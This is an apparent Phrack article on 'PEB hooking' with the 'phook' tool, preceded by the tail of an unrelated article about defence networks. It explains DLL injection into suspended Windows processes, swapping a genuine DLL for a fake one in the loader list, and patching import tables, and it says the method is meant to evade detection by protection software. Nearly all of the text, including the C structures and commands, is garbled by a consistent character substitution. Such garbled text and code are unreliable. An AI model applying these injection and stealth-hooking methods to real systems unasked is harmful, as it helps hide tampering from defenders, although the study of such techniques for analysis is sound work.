#he reasons for this are sim*le and are defined indeed (" one of the latest
*ress releases from the 3hitehouse.
>=n the last da", 3e 3on8t (e lost (ecause of a lack of stren1th or a lack
of e:ui*ment. 'e8ll (e lost (ecause of a lack of trust.>
--[ 10. )nnex
)cron"msE
---------
[i +)5 - +o"al )ustralian 5a0"
[ii ;I@@= - ;leet Information @"stem @u**ort =r1anisation.
[iii 4@4 - 4efence @i1nals 4irectorate.
[i0 4o4 - 4e*artment of 4efence.
[0 4+5 - 4efence +estricted 5et3ork.
[0i 5@) - 5ational @ecurit" )1enc" C<@)D.
[0ii @IP+5 - @ecret IP +outer 5et3ork C<@ 4o4D.
+esourcesE
-----------
[1 htt*EWW333.dsd.1o0.auWli(rar"WinfosecWacsiHH.html
[F htt*EWW333.ces1.1o0.ukWsiteWiacsWindex.cfm2
menu@elected=1Mdis*la"Pa1e=1.1
[H htt*EWW333.defence.1o0.auWdmoWidWcic?contractsWValuesF001-F00F.*df
[4 htt*EWW333."affa.com.auWdefenceW*dfW0.Wto*40-F0-F004.*df
[. htt*EWW333.disa.milWmainW*rodsolWdata.html
[- htt*EWW333.kaB-1rou*.comWfilesWcasestudiesWcs?ran.*df
[J htt*EWW333.there1ister.co.ukWF00JW10W0HWcheck?*oint?*entestW
[K htt*EWW333.soft3ink.comWi3arW
[L htt*EWW333F.*acketstormsecurit".or1Wc1i-(inWsearchWsearch.c1i2
search0alue=thefinnMt"*e=archi0esM^.!search^.4.x=0M^.!search^.4."=0
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0a of 0x0f
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|=-----------------------------------------------------------------------=|
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|=----------------=[ [@hearer - eunimedes)#hotmail.com =---------------=|
|=----------------=[ 4re1 - 4re1)#frHH*ro9ect.or1 =---------------=|
|=-----------------------------------------------------------------------=|
|=--=[ htt*EWW333.frHH*ro9ect.or1 W AirrorE htt*EWW333.disidents.com =--=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ =cto(er 1. F00J =-------------------------=|
|=-----------------------------------------------------------------------=|
------[ Index
0.- ;ore3ord
1.- Introduction

F.- Pre0ious conce*ts
F.1 - Process /n0ironment !lock
F.1.1 - %oader4ata
F.F - Im*ort )ddress #a(le
F.F.1 - %oad of the Im*ort )ddress #a(le
F.H - @tartin1 a *rocess in sus*ended state
F.4 - In9ection of a 4%% in a *rocess
F.. - &ooks in rin1H
F...1 - Pro(lems

H.- 4esi1n
H.1 - ;ore ste*s to P/! &==,I56
H.F - /xchan1e of data in %oader4ata
H.H - 4"namic load of modules
H.4 - +e*airin1 the I)#
H.. - @tartin1 execution
H.- - #he )PIs that 3ork 3ith modules
H.J - ) ne3 conce*tE 4%% AI5I;I%#/+
H.K - ;re:uent Pro(lems

4.- *hook
4.1 - In9ector4%%
4.F - $onsole $ontrol
4.H - $reate/x*
4.H.1 - ;or3arder 4%%
4.4 - *h?kerHF.dll
4.4.1 - @tack *ro(lems
4.4.F - +e1istr" *ro(lems
4.4.H - #he IAP macro
4.4.4 - Versions
4.. - <sin1 *hook
4...1 - 4%% AI5I;I%#/+
4.- - ;re:uent Pro(lems

..- #=4=

-.- #estin1

J.- )d0anta1es and *ossi(ilities

K.- $onclusion

L.- )ckno3led1ements

10.- +elated 'orks

11.- +eferences

1F.- @ource $ode
------[ 0.- ;ore3ord
5omenclaturesE
.- [#.IndexE related 3orks Csection 10D.
.- [+.IndexE references Csection 11D.
Index is the identificator of the nomenclatures.
#o understand the document it is needed to ha0e kno3led1e in 3inHF a(outE
- #"*es of executa(lesE
- P/HF [+.HE 4%%s, /G/...
- Pro1rammin1E
- <se of )PIs [+.F0E %oad%i(rar", 6etAodule&andle ...
- &ooks [+.10 [+.K [...
- 'inHF )@A [+.F1.
#3o terms 3ill (e used alon1 all the documentE
1.- 4%%?;),/E 4%% that 3ill su**lant a le1itim 4%% C4%%?+/)%D.
F.- 4%%?+/)%E 4%% that 3ill (e su**lanted (" 4%%?;),/.
<nless stated other3ise, hookWs 3ill al3a"s refer to hookWs in 3inHF.
------[ 1.- Introduction
&ooks in 3inHF are commonl" used to do re0erse en1ineerin1, the most common
moti0ations are the analis"s of mal3are and *ackers, soft3are *rotection
s"stems. &ooks are also used to monitoriBe *arts of a soft3areE access to
files, sockets, re1istr" modification...
#he actual methods to realiBe hooks in rin1H Csee section F..D has
different *ro(lems Csee section F...1D. #he most im*ortant *ro(lem for us
3as that some soft3are can detect them. #here are soft3are *rotection
s"stems that are a(le to alter the flo3 of execution 3hen the" detect some
kind of unkno3n hook, e0en the most so*histicated are a(le to eliminate
some t"*es of hooks and continue the normal flo3 of execution.
)nother *ro(lem comes 3hile atem*tin1 to realiBe a hook in the 0irus that
tracks )PI8s addresses in memor", disa(lin1 some t"*es of hooks like I)#
&==,I56 Csee section F..D. #here are soft3are *rotection s"stems that use
some technics of 0irus and 0ice0ersa.
4ue to these *ro(lems 3e ha0e created *hook, 3hich uses a fe3 documented
method to realiBe hooks in rin1H and it e0en makes some 0irus techni:ues
to use our hook.
#his document ex*lains ho3 *hook 3orks and the P/! &==,I56 [#.1 method.
*hook is a tool that uses P/! &==,I56 [#.1 to realiBe a hook of a 4%%, it
also allo3s to realiBe other tasks interacti0el"E
- %ist loaded modules.
- %oad a 4%%.
- 4o3nload a 4%%.
- ...
#he P/! &==,I56 [#.1 method consists in su**lantin1 a 4%%?+/)% in memor"
(" a 4%%?;),/, so all modules of a *rocess that use 4%%?+/)% no3 3ill use
4%%?;),/.
------[ F - Pre0ious conce*ts
#o understand the P/! &==,I56 [#.1 method and ho3 *hook 3orks, it is
needed to ha0e clear understandin1 of some conce*tsE
------[ F.1 - Process /n0ironment !lock
Process /n0ironment !lock CP/!D is a structure [+.1 located in the
user8s s*ace, that contains the *rocess8 en0iroment data [+.FE
- /n0iroment 0aria(les.
- %oaded modules list.
- )ddresses in memor" of the &ea*.
- If the *rocess is (ein1 de*urated.
- ...
------[ $=4/

t"*edef struct ?P/!
U
!==%/)5 Inherited)ddress@*ace[
!==%/)5 +eadIma1e;ile/xec=*tions[
!==%/)5 !ein14e(u11ed[
!==%/)5 @*are[
&)54%/ Autant[
PV=I4 Ima1e!ase)ddress[
PP/!?%4+?4)#) %oader4ata[
P+#%?<@/+?P+=$/@@?P)+)A/#/+@ ProcessParameters[
PV=I4 @u(@"stem4ata[
PV=I4 Process&ea*[
PV=I4 ;astPe(%ock[
PP/!%=$,+=<#I5/ ;astPe(%ock+outine[
PP/!%=$,+=<#I5/ ;astPe(<nlock+outine[
...

V P/!, OPP/![

------[ /54 $=4/
#o realiBe P/! &==,I56 it is needed to use the field %oader4ata [#.1.
------[ F.1.1 - %oader4ata
It is a structure [+.1 in 3hich there are some data a(out the modules
of a *rocess. It is a dou(l" linked list and it can (e sorted (" three
criteria [+.FE
1.- =rder of loadin1
F.- =rder in memor"
H.- =rder of initialiBation
------[ $=4/
t"*edef struct ?P/!?%4+?4)#)
U
<%=56 %en1th[
!==%/)5 InitialiBed[
PV=I4 @s&andle[
%I@#?/5#+7 In%oad=rderAodule%ist[
%I@#?/5#+7 InAemor"=rderAodule%ist[
%I@#?/5#+7 InInitialiBation=rderAodule%ist[
V P/!?%4+?4)#), OPP/!?%4+?4)#)[

------[ /54 $=4/
)ll flink and (link fields in %I@#?/5#+7 are in realit" *ointers
to %4+?A=4<%/.

------[ $=4/

t"*edef struct ?%I@#?/5#+7 U
struct ?%I@#?/5#+7 O ;link[
struct ?%I@#?/5#+7 O !link[

V %I@#?/5#+7,OP%I@#?/5#+7[

------[ /54 $=4/
#he data that 3e are 1oin1 to mani*ulate from %4+?A=4<%/ to realiBe
P/! &==,I56 are [#.1E
- !ase)ddressE #he (ase of the module in memor".
- /ntr"Point E )ddress 3here the module8s first instruction to
(e executed can (e found.
- @iBe=fIma1eE @iBe of the module in memor".
------[ $=4/
t"*edef struct ?%4+?A=4<%/
U
%I@#?/5#+7 In%oad=rderAodule%ist[
%I@#?/5#+7 InAemor"=rderAodule%ist[
%I@#?/5#+7 InInitialiBation=rderAodule%ist[
PV=I4 !ase)ddress[
PV=I4 /ntr"Point[
<%=56 @iBe=fIma1e[
<5I$=4/?@#+I56 ;ull4ll5ame[
<5I$=4/?@#+I56 !ase4ll5ame[
<%=56 ;la1s[
@&=+# %oad$ount[
@&=+# #lsIndex[
%I@#?/5#+7 &ash#a(le/ntr"[
<%=56 #ime4ate@tam*[
V %4+?A=4<%/, OP%4+?A=4<%/[

------[ /54 $=4/
------[ F.F - Im*ort )ddress #a(le
Im*ort )ddress #a(le CI)#D is a ta(le that the P/HF [+.H ha0e,
3hich fills the 3inHF loader 3hen a module [+.4 is loaded and also on
late loadin1 usin1 stu( at I)#.
/xternal s"m(ols that need a module are called im*ortations, the s"m(ols
that a module *ro0ide to other modules are called ex*ortations.
In the I)# [+.H of a module there are the addresses of its im*ortations,
that is, in the I)# [+.H of a module there are the addresses of the
ex*ortations it uses from other modules.
------[ F.F.1 - %oad of the Im*ort )ddress #a(le
;or the 3inHF loader to (e a(le to o(tain the ex*ortation it needs to
kno3E the module 3here it is located, the name of the ex*ortation andWor
the ordinal [+.H.
#he P/HF has a structure called IA)6/?IAP=+#?4/@$+IP#=+ [+.. 3here 3e
can hi1hli1ht the fieldsE
- 5ame E 5ame of the module 3here the ex*ortations are
located.
- =ri1inal;irst#hunkE )ddress of the ta(le 3here the names andWor
the ordinals of the ex*ortations that the
module im*orts are located.
- ;irst#hunk E )ddress of a ta(le, identical to
=ri1inal;irst#hunk, 3here the 3inHF loader
*uts the addresses of the im*ortations.
------[ $=4/

t"*edef struct ?IA)6/?IAP=+#?4/@$+IP#=+ U
4'=+4 =ri1inal;irst#hunk[
4'=+4 #ime4ate@tam*[
4'=+4 ;or3arder$hain[
4'=+4 5ame[
4'=+4 ;irst#hunk[

V IA)6/?IAP=+#?4/@$+IP#=+,OPIA)6/?IAP=+#?4/@$+IP#=+[

------[ /54 $=4/
/ach entr" of the ta(le of ;irst#hunk and =ri1inal;irst#hunk has t3o
fields [+.HE
- &intE if the first H1W-H (its are 0xK0000000 it 3ill im*ort onl"
takin1 account the ordinal, other3ise the name 3ill (e used.
#he (its 1.-0 re*resent the ordinal.
- 5ameE )ddress 3here the name of the ex*ortation is located.

------[ $=4/

t"*edef struct ?IA)6/?IAP=+#?!7?5)A/ U
'=+4 &int[
!7#/ 5ame[1[

V IA)6/?IAP=+#?!7?5)A/,OPIA)6/?IAP=+#?!7?5)A/[

------[ /54 $=4/
------[ F.H - @tartin1 a *rocess in sus*ended state
'hen it is 3anted to create a *rocess in sus*ended state it is necessar" to
kno3 3hich t"*e it is [+.-E
- $onsole
- 6<I
$onsole t"*e *rocesses can (e created 3ith the )PI $reateProcess and the
fla1 $+/)#/?@<@P/54/4.
If 6<I t"*e *rocesses are o*ened 3ith the fla1 $+/)#/?@<@P/54/4 ma" not
3ork correctl", so the" must (e created usin1 the )PIsE
1.- $reateProcess E Process is created 3ithout the fla1
$+/)#/?@<@P/54/4.
F.- 'ait;orIn*utIdleE $orrect load of the *rocess [+.- is 3aited for.
H.- @us*end#hread E #he main thread is sus*ended.
------[ F.4 - In9ection of a 4%% in a *rocess
#o in9ect a 4%% in a *rocess there are man" methods [+.J, the most
sim*le is usin1 the )PIsE
1.- Virtual)lloc/x E #o reser0e memor" in the *rocess.
F.- 'riteProcessAemor"E #o 3rite in the reser0ed s*ace a code that
loads a 4%%.
H.- $reate+emote#hreadE ) thread is created in the *rocess that
executes the 3ritten code.
4.- Virtual;ree/x E =nce the 4%% is loaded reser0ed memor" is
freed.
------[ F.. - &ooks in rin1H
#here al3a"s has (een man" forms to realiBe >hooks> in 3inHF, as much in
rin1H as in rin10. #he *ro(lem a(out 3orkin1 in rin10 lies in that if
somethin1 fails the =@ ma" (ecome unsta(le. #he most sta(le method for
the =@ is to realiBe the >hook> from rin1H.
#he most kno3n methods areE
- I)# &==,I56E /ntries in the I)# [+.H are modified, 3hich *uts the
loader in 3inHF, so it *oints to another Bone [+.K.

- P<@& Y +/#E In a code area P<@& 4I+/$#I=5 and +/# are introduced to
9um* to the desired address.
6enerall" it is needed to *ass the control to the
ori1inal area, ha0in1 to restore it in a determined
moment [+.L.

- @et'indo3&ook...E 'ith these )PIs, a call(ack ma" (e re1istered
for different e0ents of the s"stem [+.10.
------[ F...1 - Pro(lems
@ome *ro(lems in the methods to realiBe hooks in rin1HE
Y-------------------------------------------------------------------------Y
| @ome Aethods | @ome *ro(lems |
Y------------------------Y------------------------------------------------Y
| I)# &==,I56 [+.K | 1.- #he I)# [+.H of all the loaded modules |
| | ha0e to (e chan1ed. |
| | F.- ) module does not need I)# [+.H to use |
| | s"m(ols ex*orted (" others. |
| | H.- It is 0er" 3ell kno3n. |
| | 4.- /as" to re*air. |
| | ..- $an (e detecta(le. |
| | -.- 4oes not allo3 full control from the start.|
|------------------------Y------------------------------------------------|
| P<@& Y +/# [+.L | 1.- #he method is not 1eneric for all the areas|
| | of the code. |
| | F.- It is com*licated to im*lement. |
| | H.- /as" to re*air. |
| | 4.- $an (e detecta(le. |
| | ..- 4oes not allo3 full control from the start.|
|------------------------Y------------------------------------------------|
| =ther >hooks>E | 1.- 4oes not allo3 full control. |
| @et'indo3&ook... [+.10| F.- /as" to re*air. |
| | H.- $an (e detecta(le. |
|------------------------Y------------------------------------------------|
| P/! &==,I56 [#.1 | 1.- It is com*licated to im*lement. |
| | F.- #he ori1inal 4%% and the in9ected ha0e to |
| | ex*ort the same s"m(ols in the same order |
| | Cat leastD. |
| | H.- $an (e detecta(le. |
| | 4.- 4oes not allo3 full control from the start.|
Y------------------------Y------------------------------------------------Y
5oteE #his ta(le onl" re*resents the o*inion of the authors.
$alls from rin1H to rin10 usin1 @7@/5#/+ cannot (e controlled (" means of
the *re0ious methods onl". ) s"stem call from rin1H can (e realiBed 3ith
@7@/5#/+ [+.11 3ithout ha**enin1 throu1h an" 4%%, of such 3a" that the
*re0ious methods are made unusa(le in this *rett" rare situation.
4ue to the *re0ious *ro(lems, 3e ha0e decided to use P/! &==,I56 [#.1 to
create a en1ine that realiBes more than >hooks>E *hook - #he P/! &ooker.
5oteE #he ad0anta1es and *ossi(ilities of P/! &==,I56 [#.1 are ex*lained
in section J.
------[ H.- 4esi1n
In this section it 3ill (e s*oken of the (ase desi1n to realiBe P/!
&==,I56 [#.1 successfull". #he im*lementation is not com*licated 3hen it
is understood 3h" each thin1 is done.
#he ste*sE

1.- %oad 4%%?;),/ and 4%%?+/)%.

F.- In the list that uses the loader in 3inHF, in 3hich all the
loaded modules in this moment are located, it has to exchan1e
man" fields (et3een 4%%?;),/ and 4%%?+/)%.

H.- It is necessar" that the I)#s [+.H of all the loaded modules,
exce*t 4%%?+/)% and ma"(e 4%%?;),/ *oint to the functions that
the 4%%?;),/ ex*orts.

------[ H.1 - ;ore ste*s to P/! &==,I56
It is necessar" (efore an"thin1 to load a 4%%?;),/ into the memor" of the
*rocess, to 3hich it is 3anted to realiBe P/! &==,I56 [#.1. #he 4%%?;),/
must ha0e at least the same ex*ortations and the same order of 4%%?+/)%.
------[ H.F - /xchan1e of data in %oader4ata
It is necessar" to search 4%%?;),/ and 4%%?+/)% for some identificati0e
fields of %4+?A=4<%/, once found the follo3in1 data 3ill (e exchan1edE
- /ntr"Point
- !ase)ddress
- @iBe=fIma1e Calmost al3a"sD
#he search usin1 the field !ase4ll5ame 3ill o(tain the data of %4+?A=4<%/
*ertainin1 to 4%%?;),/. @ome 0irus, *ackers and )PIs use this form of
search to find the !ase)ddress or /ntr"Point of a module.
It is necessar" to chan1e the field @iBe=fIma1e in the case that 4%%?;),/
and 4%%?+/)% do not ha0e the same siBe in memor".
@earchin1 flo3 of !ase)ddress of kernelHF.dll in a *rocess 3ithout
P/! &==,I56 [#.1E
0 Y---------------------------------Y
[ *rocess ---------Y | Process /n0ironment !lock CP/!D |
| |---------------------------------|
| | Inherited)ddress@*ace |
| | +eadIma1e;ile/xec=*tions |
| | !ein14e(u11ed |
| | @*are |
| | Autant |
| | Ima1e!ase)ddress |
Y-S| %oader4ata |--Y
| ... | |
Y---------------------------------Y | 1
|
|
Y--------------------------------------------------------------Y
| Y----------------------------Y Y----------------------------Y
| | %oader4ata | | %4+?A=4<%/ |
| Y----------------------------Y |----------------------------| flink
| | %en1th | | In%oad=rderAod%ist |-----Y
| | InitialiBed | | InAemor"=rderAod%ist | |
| | @s&andle | | InInit=rderAod%ist | |
Y-S| In%oad=rderAod%ist | F | ... | |
| InAemor"=rderAod%ist |----S| !ase4ll5ame >ntdll.dll> |---Y |
| InInit=rderAod%ist - ;link | Y----------------------------Y | |
Y----------------------------Y Y------------------------------------Y |
| Y----------------------------Y |
| | %4+?A=4<%/ C4%%?+/)%D | |
| |----------------------------| |
| | In%oad=rderAod%ist | - |
Y---------------------Y H | | InAemor"=rderAod%ist | |
| >kernelHF.dll> |R-------Y | InInit=rderAod%ist | |
Y---------------------Y | !ase)ddress J$K01000 | |
K | |4 _ J | ... | |
7es R-Y Y-S 5o Y-------------| !ase4ll5ame >kernelHF.dll> |R----Y
| | . | ... |
L | 0 Y----------------------------Y
| 5ext%drAoduleCD[
0
kernelHF.dll = J$K01000
@earchin1 flo3 of !ase)ddress of kernelHF.dll in the *re0ious *rocess 3ith
P/! &==,I56 [#.1E
0 Y---------------------------------Y
[ *rocess ---------Y | Process /n0ironment !lock CP/!D |
| |---------------------------------|
| | Inherited)ddress@*ace |
| | +eadIma1e;ile/xec=*tions |
| | !ein14e(u11ed |
| | @*are |
| | Autant |
| | Ima1e!ase)ddress |
Y-S| %oader4ata |--Y
| ... | |
Y---------------------------------Y | 1
|
|
Y--------------------------------------------------------------Y
| Y----------------------------Y Y----------------------------Y
| | %oader4ata | | %4+?A=4<%/ |
| Y----------------------------Y |----------------------------| flink
| | %en1th | | In%oad=rderAod%ist |-----Y
| | InitialiBed | | InAemor"=rderAod%ist | |
| | @s&andle | | InInit=rderAod%ist | |
Y-S| In%oad=rderAod%ist | F | ... | |
| InAemor"=rderAod%ist |----S| !ase4ll5ame >ntdll.dll> |---Y |
| InInit=rderAod%ist - ;link | Y----------------------------Y | |
Y----------------------------Y Y------------------------------------Y |
| Y----------------------------Y |
| | %4+?A=4<%/ C4%%?+/)%D | |
| |----------------------------| - |
| | In%oad=rderAod%ist | |
Y---------------------Y H | | InAemor"=rderAod%ist |flink|
| >kernelHF.dll> |R-------Y | InInit=rderAod%ist |--Y |
Y---------------------Y | !ase)ddress J$K01000 | | |
1F | |4-K _ _ J | ... | | |
7es R-Y Y-S 5o | Y-------------| !ase4ll5ame >old?kHF.dll> |R-|--Y
| .-L | Y------------Y | ... | |
1H | 0 | Y----------------------------Y |
| 5ext%drAoduleCD[ Y-Y |
0 | Y----------------------------Y |
kernelHF.dll = 00.$.000 | | %4+?A=4<%/ C4%%?;),/D | | 10
| |----------------------------| |
11 | | In%oad=rderAod%ist | |
| | InAemor"=rderAod%ist | |
| | InInit=rderAod%ist | |
| | !ase)ddress 00.$.000 | |
| | ... | |
Y-| !ase4ll5ame >kernelHF.dll> |RY
| ... |
Y----------------------------Y

+esults of the search in the *rocessE
1.- !ase)ddress 3ithout P/! &==,I56 [#.1E J$K01000 C4%%?+/)%D
F.- !ase)ddress 3ith P/! &==,I56 [#.1E 00.$.000 C4%%?;),/D
P4E 6enerall" searchin1 (" In%oad=rderAod%ist, the first field that sho3s
u* is the %4+?A=4<%/ corres*ondin1 to the main module. In the
exam*le it has (een omited for the sake of clarit".

------[ H.H - 4"namic load of modules
'hen a *rocess, in that P/! &==,I56 [#.1 has (een done, loads a module
d"namicall" [+.1F that has im*ortations from 4%%?+/)%, its I)# [+.H
3ill (e loaded automaticall" 3ith the necessar" ex*ortations of 4%%?;),/.
------[ H.4 - +e*airin1 the I)#
/xce*t in the modules 4%%?;),/ and 4%%?+/)%, all the I)#s [+.H that ha0e
ex*ortations of the 4%%?+/)% shall (e re*laced (" the corres*ondin1 ones
from 4%%?;),/. #he I)# [+.H of 4%%?;),/ is not due to chan1e in case the
ex*ortations of 4%%?+/)% are needed to (e used.
If the I)# [+.H of 4%%?;),/ has (een modified so the ex*ortations of
4%%?+/)% are the same ones of 4%%?;),/, a call to a ex*ortation of
4%%?+/)% from the same ex*ortation of 4%%?;),/, 3ill enter in an
infinite recursi0e loo*, causin1 stack o0erflo3.

Y--------------------------Y Y--------------------------------Y
| .text 4%%?;),/ | | I)# |
|--------------------------| |--------------------------------|
| ... | | %ocal)lloc 1 C5r?%ocal)llocD |
| P<@& /!P | Y-S| %oad%i(rar" F C5r?%oad%i(rar"D |--Y
| A=V /!P, /@P | | | .... | |
| ... | | Y--------------------------------Y |
| %oad%i(rar"?;),/E | | |
Y-S| P<@& ori1inal?li(?name | | 0 |
| | $)%% I)#[5r?%oad%i(rar" |--Y |
| | ... | |
| | P=P /!P | |
| | +/# | |
| | ... | |
| Y--------------------------Y |
| 1 |
Y-----------------------------------------------------------------------Y
#he real *ro(lem is that 3e are callin1 oursel0es either directl" or
indirectl" (" one or 0arious 4%%s. It is not due to re*air the I)# [+.H
of an" module C4%%?)57D 3hen 4%%?;),/ calls an ex*ortation of 4%%?)57 that
at the same time calls an ex*ortation of 4%%?;),/ that im*lies to call
a1ain the same ex*ortation direct or indirectl" from 4%%?)57.
;lo3 of a call to +tl&ea*)lloc, 3hen P/! &==,I56 [#.1 has (een done o0er
5#4%%.4%% and the I)# of kernelHF.dll has (een chan1edE
/xam*leE
[ *rocess
|
| $)%% +tl&ea*)lloc $)%% %oad%i(rar"
Y-------------------S [4%%?;),/ ntdll.dll ------------------Y
0 _ 1 |
| $)%% +tlInit<nicode@trin1 0
Y--------------------------- [4%%?)57 kernelHF.dll
F
;lo3 of a call to +tl&ea*)lloc, 3hen P/! &==,I56 [#.1 has (een done o0er
5#4%%.4%% and the I)# [+.H of kernelHF.dll has 5=# (een chan1edE
[ *rocess R----------------Y
| 4 |
| $)%% +tl&ea*)lloc | $)%% %oad%i(rar"
Y-------------------S [ 4%%?;),/ ntdll.dll ------------------Y
0 _ 1 |
Y------------------Y |
| H |
| $)%% +tlInit<nicode@trin1 0
[4%%?+/)% old?nt.dll R--------------------------- [4%%?)57 kernelHF.dll
F

5oteE #he scheme has (een sim*lified, omitin1 the rest of calls of
4%%?;),/.
;lo3 of a normal call to %oad%i(rar" in a *rocess C3ithout P/! &==,I56
[#.1DE
$)%% I)#[5r?%oad%i(rar" Y--------------------------------Y
[*rocess -------------------------Y | I)# |
_ 0 | |--------------------------------|
| | | %ocal)lloc 1 C5r?%ocal)llocD |
| Y-----------------------Y Y-S| %oad%i(rar" F C5r?%oad%i(rar"D |-Y
| | 4%%?+/)% kernelHF.dll | | .... | |
| |-----------------------| Y--------------------------------Y |
| | ... | 1 |
| | %oad%i(rar"E | R--------------------------------------Y
| F | P<@& /!P |
| | A=V /!P, /@P |
| | ... |
| | P=P /!P |
Y----| +/# |
| ... |
Y-----------------------Y
#he flo3 is normal and *asses directl" (" 4%%?+/)%.

;lo3 of a call to %oad%i(rar" in a *rocess 3ith P/! &==,I56 [#.1E
$)%% I)#[5r?%oad%i(rar" Y--------------------------------Y
[*rocess -------------------------Y | I)# |
_ 0 | |--------------------------------|
| | | %ocal)lloc 1 C5r?%ocal)llocD |
| Y-------------------------Y Y-S| %oad%i(rar" F C5r?%oad%i(rar"D |-Y
| | 4%%?;),/ kernelHF.dll | | .... | |
| |-------------------------| Y--------------------------------Y |
4 | | ... | 1 |
| | =3n?%oad%i(rar"E | R--------------------------------------Y
| | P<@& /!P |
| | A=V /!P, /@P | Y-----------------------------Y
| | WW =3n functions... | F | 4%%?+/)% old?kHF.dll |
| | $)%% I)#[5r?%oad%i(rar"|----Y |-----------------------------|
| | P=P /!P |R-Y | | ... |
Y--| +/# | | Y-S| %oad%i(rar"E |
| ... | | | P<@& /!P |
Y-------------------------Y | | A=V /!P, /@P |
| | ... |
H | | P=P /!P |
| | +/# |--Y
| | ... | |
| Y-----------------------------Y |
Y-------------------------------------Y
)s it can (e o(ser0ed the flo3 *asses first throu1h 4%%?;),/. #hen
4%%?;),/ calls to the ori1inal %oad%i(rar" C4%%?+/)%D.
------[ H.. - @tartin1 execution
=nce all the *re0ious ste*s are done it is the moment for (e1innin1 to
execute the *rocess and to see if e0er"thin1 3orks.
------[ H.- - #he )PIs that 3ork 3ith modules
#he )PIs %oad%i(rar", 6etAodule&andle, /numProcessAodules [+.1F ... use
the field %oader4ata from the P/! [#.1. #his means that e0er"time that
the" tr" somethin1 a1ainst 4%%?+/)% the" 3ill (e interactin1 3ith
4%%?;),/, for exam*leE
P/! &==,I56 [#.1 has (een done to <@/+HF.4%%E
- 4%%?;),/
- 5ame in memor"E <@/+HF.4%%
- !ase)ddressE 004H.-FF
- 4%%?+/)%
- 5ame in memor"E =%4?<HF.4%%
- !ase)ddressE JJ410000
#he *rocess tries to o(tain the (ase of <@/+HF.4%%E
- &A=4<%/ userHF = 6etAodule&andleC >userHF.dll> D[
)fter executin1 6etAodule&andle [+.1F the 0aria(le userHF 3ill containE
004H.-FF C!ase)ddress of 4%%?;),/D. If the *rocess does later a
6etProc)ddress [+.1F on some function ex*orted (" <@/+HF.4%%, it 3ill
o(tain the function of 4%%?;),/.
#hanks to P/! &==,I56 [#.1 it is no lon1er necessar" to chan1e the
(eha0iour of the )PIs that 3ork 3ith modules so that the" use 4%%?;),/.
------[ H.J - ) ne3 conce*tE 4%% AI5I;I%#/+
4%% AI5I;I%#/+ is the name that 3e ha0e 1i0en to the ca*acit" (" 3hich a
call to an ex*ortation can *ass throu1h se0eral 4%%?;),/. =ne of the most
im*orttant ad0anta1es of the method is to extend or to limit the
functionalities modularl" to the call of an ex*ortation.
'hen P/! &==,I56 [#.1 is done o0er a 4%%?;),/, the term 4%%?+/)% for the
ne3 4%%?;),/ (ecomes the *re0ious 4%%?;),/, creatin1
'hile doin1 P/! &==,I56 [#.1 o0er 4%%?;),/, the 4%%?+/)% term for the ne3
4%%?;),/, (ecame the (efore 4%%?;),/ 0alue, creatin1 therefore a stack of
4%%?;),/s. #he flo3 3ill 1o form the last 4%%?;),/, of 3hich P/! &==,I56
[#.1 has taken control, to the 4%%?+/)%, in case that all the 4%%?;),/s
call to the ori1inal ex*ort.
;lo3 of a call of a *roceso, 3ith P/! &==,I56 [#.1, 3ith 9ust one
4%%?;),/E
0 1
[*rocess --S [4%%?;),/ --S [4%%?+/)%
_ |
| F |
Y----------------------------Y
;lo3 of a call of a *rocess, 3ith P/! &==,I56 [#.1, 3ith three 4%%?;),/sE
0 1 F H
[*rocess --S [4%%?;),/ H --S [4%%?;),/ F --S [4%%?;),/ 1 --S [4%%?+/)%
_ |
| 4 |
Y---------------------------------------------------------------Y
In the *re0ious exam*les, all the 4%%?;),/s *ass the control to the
corres*ondin1 4%%?+/)%.
------[ H.K - ;re:uent *ro(lems
)t the time of realiBin1 P/! &==,I56 [#.1 certain *ro(lems ma" ha**en,
next a ta(le 3ith the *ro(lems and the *ossi(le solutions is sho3nE
Y-------------------------------------------------------------------------Y
| Pro(lem | Possi(leWs @olutionWs |
|-------------------------------Y-----------------------------------------|
| - #he P/! &==,I56 [#.1 fails | - $heck if the necessar" fields of the |
| | P/! [#.1 can (e exchan1ed. |
| | - $heck if the correct *ermissions to |
| | chan1e the needed I)#s [+.H are |
| | *resent. |
|-------------------------------Y-----------------------------------------|
| - #he execution of a *rocess | - $heck that the P/! [+.1 is (ro3sed |
| fails | correctl". |
| | - $heck if the I)#s [+.H of all the |
| | modules of the *rocess ha0e (een |
| | correctl" (ro3sed. |
| | - check if the modified *ermissions in |
| | memor" in the P/! &==,I56 [#.1 ha0e |
| | (een restored. |
Y-------------------------------------------------------------------------Y
------[ 4.- *hook
*hook is ca*a(le of realiBin1 P/! &==,I56 [#.1 Cand other thin1sD in a
sim*le manner. *hook is a *ro9ect of 0arious modulesE

- In9ector4%%E Pro1ram that creates a sus*ended *rocess and in9ects a
4%% in it.

- $onsole $ontrolE 4%% that is in9ected in the *rocess 3here 3e 3ant to
do P/! &==,I56 [#.1. It allo3s to do P/! &==,I56
[#.1 and other tasks interacti0el" (" means of a
command console (" sockets.

- $reate/x*E Pro1ram that 1enerates from a 4%%?+/)% the source code
needed to realiBe a 4%%?;),/.

- *h?kerHF.dllE 4%%?;),/ of kernelHF.dll. *h?kerHF.dll monotoriBes the
access to the )PIsE $reate;ile) and $reate;ile' [+.14.
------[ 4.1 - In9ector4%%
Pro1ram that creates a sus*ended *rocess and in9ects a 4%% into it. #o
in9ect the 4%% $E\console.dll in the corres*ondin1 *rocess $E\*oc.exeE
- #o s*ecif" the t"*e of *rocessE
- $=5@=%/E
- In9ector4%%.exe $E\console.dll -c $E\*oc.exe
- 6<IE
- In9ector4%%.exe $E\console.dll -1 $E\*oc.exe
- 5ot to s*ecif" the t"*e of *rocess
- In9ector4%%.exe $E\console.dll -u $E\*oc.exe
In9ector4%%, 3ith the *arameter -u, usuall" detects if a *rocess is 6<I or
$onsole to kno3 ho3 to create it sus*ended Csee section F.HD. #he method
that 3e ha0e created consists in creatin1 the *rocess 3ith the )PI
$reateProcess and the fla1 $+/)#/?@<@P/54/4 [+.-. %ater 'ait;orIn*utIdle
is called, if the 3ait fails then it is a $onsole *rocess, other3ise it
3ill (e 6<I.
------[ $=4/

$reateProcess
C
*ro1ram?name ,
5<%% ,
5<%% ,
5<%% ,
;)%@/ ,
$+/)#/?@<@P/54/4 | $+/)#/?5/'?$=5@=%/ ,
5<%% ,
5<%% ,
*start?inf ,
**ro?inf
D

WW It is necessar" to check the correct creation of the *rocess

if C 'ait;orIn*utIdleC **ro?inf-ShProcess, 0 D == ')I#?;)I%/4 D
WW >$onsole *rocess>
else
WW >6<I *rocess>

